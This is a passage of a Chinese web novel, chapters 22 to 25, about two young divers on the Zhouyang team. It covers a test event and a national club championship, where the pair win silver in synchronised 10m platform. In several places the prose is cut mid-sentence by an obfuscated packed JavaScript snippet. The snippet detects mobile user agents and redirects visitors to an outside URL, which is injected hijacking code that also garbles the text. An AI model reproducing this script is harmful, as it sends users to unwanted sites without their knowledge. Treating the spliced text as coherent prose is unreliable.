姜广很明显的能够感受到赵渐鸿今天的状态非常好，越跳越顺畅，很轻松也很沉稳。 “牛啊。”姜广在赵渐鸿回来后冲他笑。 赵渐鸿眉毛弯弯，“你不也挺好的，我感觉今天身子都有点太舒展了，有点控制不住了。差点翻个两周，翻过头了。” “你去单人比赛，可一定要拿冠军呢。” “还早的很呢，我们哭包姜今天可也要跳出风采，跳出状态来呢。” “可别打趣我了，待会跳不好，我可是会把问题推给你的。” 赵渐鸿手动闭嘴一秒钟，“那我不敢说话了。” “我去准备了，这个207还是有点害怕。” “不要怕就是冲！” 姜广的第三跳是207C（向后跳水三周半抱膝），这个组别对于大多数的运动员来说都能算是一个难点。 因为是向后跳水，打开入水这个环节看不到水面，可以算是一个“盲跳”的动作，所以也就要求运动员要有极为准确的判断。 不然，稍稍偏差一些，入水的水花可能就会如同“惊涛骇浪”一般。 这个动作他摔过的次数似乎都数不清了，摔的失去自信，到一点一点变好，整个过程中他的记忆依旧清晰。 背对水面时，脚底一半是悬空的，姜广连呼吸都在这个时刻里变得谨慎，他在这个动作上更多需要克服的是心理负担而不是技术难点。 池边余庆丰的心也是提在嗓子眼上的，这个动作对于姜广来说确实是太不稳定。 纵身一跃。 姜广抱紧自己的膝盖，奋力翻腾。最后半周，打开入水时，姜广脑袋里是空的，他没有一丝空间用来思考。 什么时候打开，什么时候入水，顶水，全部凭借训练时这个动作上的肌肉记忆。 顶水的瞬间，他觉得自己似乎用尽了力气，不希望有一点多余的水花溅起。 好在结果，如他所愿。 这是一个动作极其漂亮且干净的207C，虽然动作难度不算太高，但无疑是一个值得高分的动作。 从水里冒出个脑袋后，刚爬到池子边，还没来得及示意，大屏幕便非常迅速的显示出了这一跳的得分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388210|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清一色的9分，单跳总分获得89.1。 九到十分的这个打分区间，已经是跳水打分里对标的动作质量是接近完美。能不能打到十分，也看打分评委的判断和给分的标准，如果那一场的裁判打分稍微宽松一些，那自然会有机会给到满分。 毫无疑问，裁判对这一跳依旧是有着极其高的评价。 “非常好！”余庆丰激动地都挑不出什么毛病来，而是给了姜广一个相当有力量的拥抱。 姜广也笑了，小声说话，“刚刚准备跳的时候，我吓都吓死了，就怕又像训练里躺着进水，被打零分。” “你怕什么，你看见没，你的水平摆在这呢！”余庆丰宠溺地揉了揉他的头发，“快去冲冲，待会把衣服披上，别着凉了哈。” 这会儿赵渐鸿的心情也微微有所起伏，他这跳也同样是二组组别。也同样是向后翻腾三周半，但姿态是屈体，动作难度也高了0.3。 这个组别一直以来都是恐惧大于技术，如果跳好了，上限很高，跳差了下限同样也很低。 但对于赵渐鸿来说，其实这个动作几乎已经成型了，发挥也比较稳定，他要拼的是有一个更好的发挥。 或许是因为姜广相当亮眼的表现，赵渐鸿不甘落后，这一次的207b从起跳到入水，每个环节都连接的很紧密。 非常坚定。 结果到最后，甚至有裁判给出了十分！毫无疑问是本次测试赛中里必须榜上有名的亮眼瞬间。 赵渐鸿也很激动，对于这样的表现他面对教练时甚至都说不出一句完整的话来，完全被情绪占据。 “感觉你今天是要跳疯了啊，感觉无懈可击，如果到国际上拿出今天的水平，不得硬生生从别人怀里抢块金牌过来啊。”姜广和对方重重地握了握手。 赵渐鸿这时候表情只剩下笑，“还得努力。” “平复一下，还有两跳呢，而且你还有109，别松劲。”姜广不由地提醒一句。 赵渐鸿点点头，不停地深呼吸。 紧接着姜广就需要准备自己的第四跳，这一跳是六组的臂力动作6243d（臂力向后翻腾两周转体一周半任意）。 是赵渐鸿之前做过的动作，只不过他这个会少转体一周。 测试赛到了这个时间节点，他心情完全平复下来了，站上跳台时，完全没有任何多余的情绪。 走到跳台前，开始准备起倒立。 双臂稳稳支撑，但临近向后借力时，身子重心微微有些混乱。 一个突发的小插曲，姜广顿时感到慌张，如果选择重新倒立会扣掉很大一部分的分数，但如果硬着头皮做，风险也很高。 像是一个无解的难题。 但他也是一个瞬间里，毫不犹豫的向后摆腿，用尽全力获取一个足够快的转速。可问题依旧存在，因为重心不稳，身子的失重感很强，翻的慢，直到入水时，每个环节都显得仓促。 即便很可惜，但这个动作对于姜广来说，还是一个逼近于失败的动作。 22.测试赛end 这一跳姜广入水的角度差的比较大，水花也根本压不住，评委最后都普遍只打了3到4分。 最终单跳只得到了35.2分。 这般波澜起伏的表现，余庆丰微微蹙着眉头，双手抱胸，最后也没多说，只是拍了拍他的背脊，让他最后两跳好好跳。 其实这种失误完全不应该出现。对于大部分人来说，大家都会觉得就算失误也是动作本身开始变形，导致技术动作不到位。 而他这次的失误竟然是因为起倒立就出了问题，之后便是一个连锁反应，没有处理好，就直接从开始便预告了结束。 对于姜广来说，这种失误无异于是因为在高压下，心头那根弦崩的太紧了，导致一念之间身体某个部位失控了。 所有今天看姜广比赛的人，都仿佛是在坐时高时低极速驰骋的过山车。姜广自己的情绪，也是这样。 他泡在热水池子里，闭上眼睛回想自己的动作。其实，他在空中如果再努力控制控制一些，不说能完全拯救，但也起码把完成度提高到及格线以上。 说到底还是经验太少了。 虽然说上辈子也参加了大大小小的比赛，但他上辈子心态差的毛病就没克服过，赢的阶段就是靠极其高的竞技状态，最后相当顺利的取胜的。 状态差的时候，一场比赛能贡献三四个小项的最低分。 他不知道怎么在“逆风局”漂亮的翻盘。 水池里热气腾腾，偏烫的温度逐渐扩散到身体上的每个角落。他睁开眼睛，这个角度恰巧能看见大屏幕上的字。 “赵渐鸿109C77.7分” 姜广低下脑袋，自己的差距似乎和赵渐鸿越拉越大，今天单人结束后，还有双人的测试赛，如果自己这种状态，那一定会拖累对方。 毕竟对于双人跳水来说，两个人需要保持着一种能力上势均力敌的状态给到裁判。 他如果自己跳差了，就算赵渐鸿跳的满分水准也无济于事。 这时候，必须要做的就是调整自己的情绪和状态，把接下来的动作做好做漂亮，给自己出一口气。 姜广的第五跳是407C（向内翻腾三周半抱膝），这个组别对他来说并不是难点，学动作时也比较顺利。 目前最大的难点只有他的心态。 走上十米台的阶梯时，赵渐鸿上前给了他一个充满力量的拥抱，没说话，但充满鼓励的眼神与他交汇时，又像是什么都说了。 “没事，这一跳我没负担。”他难得地在这种时刻下挑起唇角笑了笑。 赵渐鸿用力点头。 最后两跳对于大部分运动员来说，都会是自己成套动作里比较难的动作。所以在姜广在台阶上做准备时，前面已经有好几个人在这一跳上出现了失误。 而且是比较大的失误。 别人的失误，其实对于他来说也是压力，因为本就不安的情绪会在此刻担心自己发生同样的问题，而加剧自卑。 再次站上台阶顶端的跳台平面时，姜广的心跳的很快。身子甚至因为紧张，不由自主地颤抖。 他久久地站在原地准备。 走向跳台最外侧时，转过身子，背对水面，他悄悄低头看了看自己的脚背，红扑扑的一大片，上次训练摔后保留的青紫印记还能隐约看清楚。 紧接着，他重重地叹了口气。并不是准备放弃，而是对自己这段时间奋力的训练感到无奈。 下一刻，他完全抛下负担。奋力起跳，从屈膝往上跳跃的瞬间，他就能在瞬间判断出这次的起跳并不充分，高度稍微欠缺一些。 他只能依靠自己核心发力，以便于获得更快的翻腾速度，用来弥补起跳高度不足的问题。 不知道是不是错觉。 空间用力翻腾的短短几秒钟里，他似乎听见冷冰冰的系统第一次放下没有感情的电子音，而是温柔地呢喃，“你就是天生的跳水运动员。” 这一跳完成的算是很顺利，空中的处理已经用尽了他自己的能力去弥补起跳的不足。 水花效果悄悄欠缺一些，但并不是什么大问题，最后还是获得了三个8分的得分，单跳获得76.8分。 余庆丰松了口气，严肃的神情却没有减少一分。 “说一说，这两跳都发生了什么吧。”余庆丰声音听不出异常。 姜广摇头，“刚刚这一跳起跳没跳好。” “但你最后调整的还不错，你觉得除了这个问题之外呢？” “我不知道，我觉得自己很努力了。”姜广语气不自主地哽咽。 余庆丰这时却褪去了方才严肃的神情，“这就对了，我觉得你的问题从来不在于动作，不在于技术。而在你自己，你把情绪压着，可能从训练开始，就攒着。” “一直不往外吐，总会出问题的。你要学会自我调节，就比如你刚刚觉得委屈，觉得自己难过，都是正常的，你要说出来。” “但是，这并不是说要让你不管不顾的发泄，你要发泄之后就翻篇儿，不把任何情绪带上跳台。” 姜广眼睛都憋红了，用力地点头。 “你在空中，翻的多轻松啊，我们所有教练都觉得你在翻腾动作上非常有天赋，在加上你本来就是个刻苦努力的队员，我们从不觉得你跳差了是你能力不足。” “我们一直都相信你是可以做到每个动作都跳到八分以上的。” “你也要信任自己，今天的单人测试赛待会最后一跳跳完了就过去了，不要想太多，明天双人你重新开始，队里的比赛名额都各凭本事，我从来不可能因为你是我亲手挑的运动员就给你走后门。” “能不能去，都看你自己。” 姜广的泪还是没憋住，在眼眶里转了好几圈，一时间喷涌而出。 赵渐鸿本应该上十米台的楼梯上等待，但这时却没上去，而是站在楼梯底下，远远地等他。 “哭包姜，没事啊。”赵渐鸿轻轻拍他的后背。 姜广渐渐收拾好自己的情绪，眼眶还是红红的，他很讨厌自己情绪宣泄的方式如此单一，似乎他只会哭。 但赵渐鸿不觉得，之前还笑着说了好几次，说姜广能哭的出来就还是不甘心，会继续拼命，如果哪天哭不出来可能就是真的认输了。 所以，赵渐鸿一直调侃说，他希望姜广能一直“哭”下去。 赵渐鸿最后一跳依旧状态很好，今天一整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409814|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场的表现，已经能够感受到他现在的实力。 如果不出意外，应该可以在明年全锦赛上冲出去，让全国的人们看见舟阳队里还有擅长男台的好苗子。 姜广说不羡慕自然是假的。 但他也还是非常开心，赵渐鸿获得这次俱乐部锦标赛的参赛名额是实至名归。也算是弥补了没机会去全运会的遗憾。 这时候轮到姜广紧张了，作为男子十米台全场中最后一个选手，他最后一跳也同样是目前成套动作中最难的。 307C（反身翻腾三周半抱膝），难度系数3.4。他心底里暗暗较劲，这时候需要有好胜心。 不是和其他人比，和自己比。 与训练中跳的最好的那次比，目的是为了超越当时的自己。 他沉下心。 目光直直地盯着前方，双腿向下蹲。 一个相当有力的起跳如约而至，翻腾的姿态也很到位，入水更是垂直的像是一根针直直的扎破水面。 破水而入时，姜广听见了极其清脆的入水声，他在水底里不由自主地舒了口气，差点就在池子里喝饱水，出不去了。 姜广爬到池边，抬头就看见了大屏幕上的分数。 竟然有一个十分！ 虽然被去掉了，但无疑对他来说是一个莫大的鼓励。起码他可以认为，自己的动作是能够在专业裁判上得到满分的。 “这一跳就对咯。”余庆丰非常难得的把他抱了起来，“我说了我们所有人都相信你。” 姜广在这个瞬间里很开心，嘴角只留下了没有任何遗憾的笑容。 这场测试赛圆满结束，赵渐鸿没有悬念的排在了第一的名次。 这种的好状态同样延误到了隔天的双人比赛里，舟阳队男子十米台双人测试赛，一共也只有两对。 一对是上次全运会就配对的，另一对则是姜广和赵渐鸿。 他们的难度稍稍低一些，但这段时间训练来看，他们在很多方面都显得格外默契。 正式比赛开始后。 他们率先出场，前两跳都是难度系数2.0的必选动作。因为难度系数比较低，一般也就只翻腾半周，主要的难点只在两人的同步性和入水效果上。 两对在前两跳的必选动作上都表现的很出色，分差只有不到三分。 到了后面四跳上姜广和赵渐鸿的整体难度为了迁就姜广，都选择的是姜广目前能做的最大难度，但也都只有3.2到3.4的样子。 而另一对光是一个109c难度就高了不少，但难度高同时也伴随着高风险。在109的发挥上，两个人的入水效果都不理想，分数也逐渐被拉开。 姜广这一次双人的测试，也许是身边有人陪着，心态很平静，每一跳都能把自己的正常水准跳出来。 两个人稳扎稳打，最终顺利获得了这个格外艰难的双人名额。 “我说什么了，你绝对能跳好。”赵渐鸿把姜广抱起来，高兴的在池子边上转了一圈。 “还好我没拖后腿！”姜广眯着眼睛笑，说话声音很轻。 “拖什么后腿，你是大腿，到时候也还得继续带我飞呢！”赵渐鸿继续笑着调侃。 23.锦标赛 12月15日。 全国跳水俱乐部锦标赛如约举行，因为不是大赛，算是二级赛事，热度和比赛的气氛与全运会时都没得比。 这场比赛的项目与奥运会的比赛项目保持一致，每一项都没有国家队的参与，所以对于各个省市队伍来说都有平等夺冠的可能性，所以各个队伍对本次比赛都很看重。 并且比赛的性质依旧是带全国头衔，符合全国赛事的标准和要求。获得好的名次，也能称之为是全国前几，所以很大一部分人能通过在这次比赛获得好的名次进而走体育特长生保送大学的路子。 所以，对于省队和市队的跳水运动员来说，这次比赛是一个很重要的机遇。 比赛第一个的第一个项目就是男子双人十米台的决赛，因为报名参加的只有十二支队伍，所以就直接一场定胜负。 双人跳水比赛的动作男子有六轮，女子则只有五轮，同样成套动作需要满足1-5组均有涉及。 前两跳是固定难度为2.0的动作，后面四跳则没有难度限制。而对于双人跳水的评判标准，分为同步和动作质量两个部分。 一个好的双人跳水动作，则必须要在两个部分都要做到极致。 姜广和赵渐鸿抽签排在了最后出场，因为比赛位次靠后，所以在比赛正式开始后还有短短的时间能够做热身和复习技术动作。 他们的成套难度相对来说是比较低的，在十二支队伍中处于中下游，所以余庆丰对他们俩没抱太大的期待，单纯希望他们俩能在比赛里见见世面，攒一攒比赛经验而已。 “你们俩鼓起劲儿来哈，今天不和他们比，和你们自己比。”余庆丰拍拍两人的肩膀。 姜广点头，“我努力，只要不失误就行。” “你只要平稳发挥就不会失误的，别担心，大胆跳，要能豁的出去！” 赵渐鸿偏头笑，“没事，我在他边上看着呢，他肯定不会紧张的。” “你们两个都好好跳，特别是前两跳，别看着难度低，但是你放到十米台去做半周的动作，入水角度偏一点点都会差很多的啊，空中都顶住了，别松哈。” 两人默契的对视一眼，异口同声，“知道了！” 对于双人比赛来说，大部分国内赛的冠军都会是国家队的两名主力去配，各个省队和市队还是会把主要精力放在单人比赛上，双人比赛的机会少，所以也配的不多。 这个比赛的主要竞争对手其实是上个周期入选国家队但这个周期状态不太好被退回省队的景乐池的双人队伍。 毕竟景乐池巅峰时期也是被入选过世锦赛大名单的，放在目前没有国家队的比赛中，实力毋庸置疑是排在第一梯队的。 成套难度也比姜广他们高了0.8，算是半个固定动作的难度了。 另一个具备站上领奖台的队伍则是之前于冈待过的H市的双人组合，难度和景乐池他们比较只有0.1的差距。 第一跳的比赛正式开始，H市的卢戈与梁小海率先上场，他们选择的动作时401B（向内翻腾半周屈体）。 从比赛状态看，两个人都很不错，起跳到入水的一致性都很不错，最后获得五个八分的实得分，单跳总分是48分。 双人跳水一共会有十一个裁判，其中六名分别为两名选手的动作质量打分，两名选手的得分分别去除最高分和最低分，会获得两个实得分。另外有五名裁判会为同步性打分，同样除去最高和最低，得到三个实得分。 最后五个实得分取平均值再乘以三，最后乘以难度系数，就得到了两个人这一跳的总分。 在前两跳的动作上，如果想要在国际上能够登上领奖台，上50分会是一个比较理想的表现。 在卢戈和梁小海完成动作后，排名一直没有变化，稳稳的排在第一的位置。 紧接着便是景乐池他们的第一跳，他们这一组选择的是101B（向前翻腾半周屈体）。 因为动作难度不大，两人完成的相当轻松，从侧面看两人动作几乎重合了。裁判也同样对这个动作给了很高的评价，单跳获得了54.6分。 前面十一个队伍跳完之后，景乐池和卢戈两支队伍分别排在前二。 姜广和赵渐鸿要做的同样是101B。 赵渐鸿在左边的位置，同样需要承担喊口令的职业。 “走，停，举手，预备，走！” 口令落下，两人同时向下跳，101B的动作难度低，主要的难点就在入水的处理上。 也许是第一个动作，两人的身体都没有调整到最佳状态。入水效果上都微微有些瑕疵，没有完全把水花压死。 但总体上发挥还算正常，同样在这一跳上获得了48分，并列排在第二名。 第二轮依旧是固定动作，卢戈的队伍在第二跳上发挥比第一跳要好一些，分数也顺利上了50，最终两跳总分是99分。 景乐池的队伍则依旧保持着高标准发挥，第二跳同样获得54分的高分。 轮到姜广他们时，依旧是这两支队伍排在前二。 他们的第二跳是401B，向内的组别，两人入水上还是有点瑕疵，但比第一跳好一些，这一跳获得49.8分。 两跳结束，姜广和赵渐鸿排在第三名。 因为后面的自选动作还没跳，大家难度都没上，所以就这两轮的排名代表不了队伍的实力。 有些队伍会在固定动作上有瑕疵，但在高难度动作上又能完成的相当不错的，所以前两跳的分差完全不会对他们造成压力。 卢戈队伍的第三跳，选择的是5253B（向后翻腾两周半转体一周半屈体），难度系数3.2。 两人发挥的都不错，唯一的问题就是两个人在同步性上稍稍有一点点偏差，因此在同步得分上被扣除了一些。 紧接着，景乐池他们同样也是5253b，两人的动作质量都不错，但入水水花压的不够，最后这一跳获得了77.76分。 “想什么呢。”赵渐鸿手掌在姜广面前用力的晃了晃。 姜广摇头，“没，就幻想一下待会儿如果我们拿牌子了要怎么庆祝。” “哟，今天心态蛮不错嘛。” “不行啊，反正我就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426555|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差，也有你托底不是。”姜广笑了笑耸肩。 赵渐鸿点头，“就要这样，我们俩一跳一跳，努力跳下来，不说一定上领奖台，那也没遗憾。” “这次毕竟只是我们参加的第一场大比赛，尽力就好，我们也不是机器人没办法每一秒钟都控制很精准的。” “你没压力就太好了，你看他们5253其实也和我们水平差不多，待会儿我们也这么跳就是了。” 姜广点头。 他们站上十米台上时，姜广依旧无法控制心底里肆意滋生的紧张情绪，心率飙升。 直到赵渐鸿朝他竖了一个大拇指，他才缓缓平复一些。 广播的“嘟”声响起，示意他们可以开始自己的这一跳，依旧是5253B。 对于赵渐鸿来说，五组的动作，他熟悉的不能在熟悉，他很擅长做转体动作。 而姜广就没有百分之一百的稳定度。 “走，停。” 两人停在跳台的边缘，“转身，举手。” “预备，走！” 赵渐鸿的口令喊的很有劲，姜广完全沉浸在口令中，起跳，转体，翻腾，入水，整个动作中他都像是上了发条的机器，完全按照设定的“程序”进行。 不过在入水上，水花没有压死，后续冒了一个大水柱，在这个方面上扣了一点分数。 但赵渐鸿发挥的很完美，他个人的单跳实得分是9分。 不过总体上，这一跳也算顺利，单跳得分景乐池队伍的分数一样，都是77.76。 “很好啊，就是姜广你入水那一刻顶水没顶到位，后面水又冒出来了，力不要太早放了啊，把水花压死。”余庆丰脸上都是笑容。 孔诃这时候也跟着鼓励，“就这么跳啊，不着急，每一跳都扎扎实实跳。” 两人都用力点头。 回到热水池子里时，两人盯着对方看。 赵渐鸿松弛感拉满，笑着说：“感觉你最近是不是吃太好了，脸有点圆了。” “真的吗？我天天从十米跳下去，我还胖了！”姜广不可思议。 “今天没称体重啊。” 姜广摇头，紧接着又笑着点头，“差点忘了，我早上醒来在酒店房间里称了一次，当时记得体重没什么变化。” “那估计是你早上吃的那三个包子和两节玉米，把你给吃肿了。” 姜广揉了揉自己的脸，疑惑地说，“我感觉也没太胖吧，而且我胖也帅，嘿嘿。” “那肯定，你可是我们舟阳队第一队草。” “去你的，哪有我们鸿哥好，之前训练可都是听见女队那几个妹妹，天天鸿哥鸿哥的叫呢，我可没你受欢迎。” 赵渐鸿无奈的笑了笑，从热水池子里起身出去，接着用毛巾擦干，裹紧了自己的羽绒服。 “待会儿207，你感觉怎么样？”他偏过脑袋问姜广。 姜广正在擦身子，头也没抬。 “还能怎么办，我也不能不跳啊，硬着头皮上呗，能跳多好跳多好。” “反正你在我边上一块跳，我就不害怕了。” 24.锦标赛 比赛进行到第四轮动作。 首先出场的是卢戈这一对儿，动作是成套里的最高难度，109C（向前翻腾四周半抱膝），因为是四周半的动作，需要运动员有很强的核心。运动员必须得保证自己能非常迅速地翻完四周半后，还能有时间处理入水。 姜广之前看赵渐鸿跳过挺多次这个动作，也不能做到每一次都成功，成功的时候，那都是从助跑开始每个环节都没有差错，并且空中的翻腾动力非常充足的情况下。 两人在一旁裹紧羽绒服，抬着脑袋不约而同地盯着大屏幕关注这一跳。 卢戈这一对也能看得出来是备战过一段时间的，两人的步调都很一致。 但两人的能力是有很明显的差别，在空中翻腾时，右侧的队员很明显翻的就慢不少，以致于两人在空中是错位的，同步会被扣不少分数。 也许能力还是稍微欠缺一些，大难度的动作上，也有心理压力，最终入水也没处理好，水花效果很差。 最后这一跳还是由于3.7的难度加持，即便发挥一般，也获得了75.48分。 其后是排在第一位的景乐池这一队，他们这一跳是难度系数3.4的307C（反身翻腾三周半抱膝）。 两人从起跳开始就有些脱节，同步差很多，并且入水也不太好，水花没压死，两人的个人得分也没上8分。 第八个队伍开始跳时，姜广他们才脱掉衣服，开始蹦一蹦，热热身子。 207C姜广之前其实都有过很好的发挥，这次身边还有赵渐鸿，他压力也轻了不少。 “说好咯，大胆跳。”赵渐鸿朝他笑。 他非常用力地点头，“我会加油的。” 明明说好不紧张，可直到站到跳台末端，转过身子，背对水面的瞬间，心跳的很厉害。 只是准备的一瞬间，不知道为什么脑海里猛地闪过自己跳207时摔进水里的瞬间。 恐惧无法克制的弥漫。 “预备，走！”赵渐鸿的口令把他拉回现实。 但只是片刻的失神，都会伴随着偌大的蝴蝶效应。 起跳他很匆忙，技术动作稍微有些变形，自此从翻腾开始，两人的节奏已经完全错开。虽然是双人比赛，但看起来更像是，两个单人比赛被生硬的组合在一起。 身旁的赵渐鸿似乎也受了些影响，但调整的很快，入水也不错，唯一的问题就是入水角度差了一些。 然而，姜广已经在尽力补救，却还是因为起跳的问题，入水角度差的很多，又因为是向后的组别，存在视野盲区，稍微调整就把水花顺着脚尖全蹦出来了。 在水里时，姜广脑子都是空白的。 但赵渐鸿第一时间游到他身侧，在水底看了他一眼，没有责怪，而是轻轻地握了握他的手掌。 “太紧张了，是吗？”余庆丰第一时间问。 姜广怯生生的点头。 “没事，后面好好跳。其实我看了这十一个队伍，整体实力都一般的。我们后面几跳也没什么难点了是吧，别有负担。” 两人点头。 这一跳因为姜广发挥的不够好，最后只获得了58.41分，排名也下降到了第六的位次。 第五轮率先出场的依旧是卢戈的队伍，四轮结束他们暂时排在第二。 “刚刚怎么回事？”赵渐鸿凑到姜广耳边上，悄悄问。 姜广摇头，“刚刚不知道为什么转身那时候就走神了，感觉被吸了魂魄。” “难怪，我余光里看到你站在那都发抖。” 两人说话间，被巨大的入水声给吓了一跳。抬头一看，是卢戈他们的307失误了，两人在入水上都处理的很差，水花完全没压住。 “可惜了，但是我们说不定能追上！”赵渐鸿偏头朝姜广说。 “真的吗？” “你看他们这一跳，好像也就只比我们207多两分，我们下一跳跳好了就追上来了。” 卢戈队伍的失误也影响了之后出场的几个队伍，连着好几个队都有或大或小的失误。直到景乐池他们出场，跳的是3.6难度的207B（向后翻腾三周半屈体）。 比207C要更难一些，因为屈体的动作姿态无疑会降低翻腾的速度。 但两人完成的还不错，没有很大的失误，分数不高也不低。 之后便是姜广和赵渐鸿，两人的第五跳是3.2难度的407C（向内翻腾三周半抱膝）。姜广在上十米台时，就被赵渐鸿鼓励。 这一次再次走到十米台的末端，转过身子后，赵渐鸿悄悄地说了一声加油。 “预备，走…”赵渐鸿的口令拉了很长的尾音。 姜广这一次是心无旁骛的做动作，没有多余的想法。在空中翻腾时，他还是因为能力没法跟上赵渐鸿，两人的基本节奏一致，但还是会存在细微的错位。 入水时，姜广脚背没绷住，顺着这个通道带出了长长一道水花。 第五轮结束，姜广和赵渐鸿的分数和卢戈他们相比还差6分多。两个队伍在第六跳上还有难度的差距，要想追上的话会比较困难。 “没事没事，这一跳很好了。”赵渐鸿注意到了姜广情绪的低迷。 “感觉都是我跳的不太好，要不然我们应该也能追上。”姜广心底里觉得愧疚。 目前他们排在第四，和第三有两分的差距。其实努努力，铜牌也不是不可能的。 “那我们就把最后一跳跳好，比赛还没结束呢，干嘛给自己泄劲啊，谁拿牌子都不一定。” 姜广心底里暗暗较劲。 这最后一跳，他必须要证明自己。毕竟整场比赛里，如果不是大家竞技状态都差不多，不然就他这失误率，别提奖牌，前六都进不去。 目前也只剩最后这个动作能够用来证明自己，不说跳满分，但总得有一个跳完后获得大部分人掌声的动作。 第六轮开始。 卢戈队伍的动作是难度系数3.6的207B，两人在这个动作上明显要更得心应手。可以看得出来两个人都是向后组别要更好一些的运动员，但问题还是两个人能力有差距，同步性上稍微差了一些。 而且卢戈的入水不太好，他个人得分也没上8分。但这一跳总分依旧不低，得到了82.08分，是他们今天成套动作里得分最高的一跳。 他们跳完，姜广和赵渐鸿对视了一眼，感受到对方眼里的担忧时，赵渐鸿拍了拍姜广的肩膀，“没事，你看他们得分不都是7.5吗，连8分都没上。” 来到景乐池队伍的最后一跳，他们的动作是109C，难度很大，但两人今天整场都发挥的很平稳，没有大的失误。 最后一跳，稍微在入水上有瑕疵，而且空中两个人的同步不好，最后入水上两人的距离也差的有些远。但因为前面的平稳发挥，总分还是上了四百，目前非常稳固的排在第一位。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437994|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “其实，我感觉我们这场比赛还真是菜鸡互啄。每个队伍动作都一般，只要水花不是特别大，就能得第一。”赵渐鸿笑着说。 姜广点头，确实这场比赛的含金量不太高，没有奥运会，世锦赛这类大赛竞争激烈，发挥也很平淡。 并没有电视里看到的水花消失术的出现。 感觉裁判看的都累，打分也都普遍在6-7这个区间给就行。 “我俩上去炸一波，跳个厉害的动作，让大家醒醒神。” 姜广偏头，难以置信，“啊，我们吗？” “不然呢，没多久就到我俩了。而且，看台上的观众感觉都困了，估计待会儿回去都得说今天这场跳水比赛太没意思。” 姜广摆手，“我俩也很难突然超常发挥吧，哦不是，应该说我很难。” “害，”赵渐鸿大手一挥把人揽到胸前，“你怕什么，反正都最后一跳了，你就自信一点呗儿，自信过头也没事，反正都这样了。” “听你的，我到上面脚趾甲盖儿都绷紧了跳。” “嘿嘿。” 轮到姜广他们俩时，因为是最后出场的选手，他们的发挥也决定着最后奖牌的归属。 目前来说，最紧张的当属是排在第三A省的队伍，前面五轮就比姜广他们高了两分，最后一跳也普普通通，拿了个75分。 但对于姜广他们来说，必须得跳到80分左右才能稳住这枚铜牌，目前而言依旧是一个不小的挑战。 第六跳的动作是3.4难度的307C，虽然不是特别难的动作，但也是他们整套动作中最难的一个了。 姜广站在十米台后准备时，手心里泛凉意。 “醒一醒。”旁边赵渐鸿叫他。 姜广立马抬起头来。 “抬头，挺胸，你是最棒的！” 姜广一一照做。 “要来了哦，我们第一次国内大赛的最后一个动作。” “我们都好好跳。”他嘴角在这个时刻里向上抬了抬。 十米的高度说高没那么高，说矮也并不矮。姜广只是低头看那么一眼，都会觉得自己是厉害的，敢从这么个地方跳下去，还跳了数不清多少次。 他暗暗在心底里为自己鼓劲儿。 “别怕，都跳过上千次了。” “想一想那个跳出满分的自己。” 两人最后一跳正式开始，举手准备，下蹲，立定起跳，抱膝，翻腾。 两人的动作在这一跳上逐渐重合，无论是翻腾还是起跳，两人的节奏都保持着高度统一。 姜广在空中没有空想他们俩到底跳的怎么样，只是一步一步按照训练里的要求跳，也许是运气，也许是这一刻爆发了。 他如针一般入水，他这一侧似乎连水面都静止了。 只有几圈缓缓扩散的涟漪。 两人在水中时，听见广播播报最后一跳的分数，除了8.5就是9分。 这一跳上他们得到了一个逼近90的分数。 出乎所有人意料，在最后一跳上，他们不止超过了之前的第三名，还一跃而上超过了第二名1分！ 刚爬上池边，赵渐鸿便抬头看到了他们的总分，数字后跟的是排名，是一个看起来格外耀眼的数字2！ 他连忙一把抱起刚从水里出来的姜广，脸颊被笑意填满。 “我说什么！我们可以的！” “我们是亚军！” 25.对方的印象 姜广被抱着转了好几圈，眩晕感猛猛地往上冒。 “脑浆都被你摇匀了。”他小声说。 赵渐鸿像是没听见，乐乐呵呵的，又抱着他整整转了四五圈。 余庆丰和孔诃也激动，他们本来也就想着让两人出来长长见识，却没想到这比赛矮子里拔高个儿，还让这俩人拿了个银牌。 确实算得上是意外之喜。 但喜悦过后，余庆丰也能从这一场比赛上关注到很多问题。 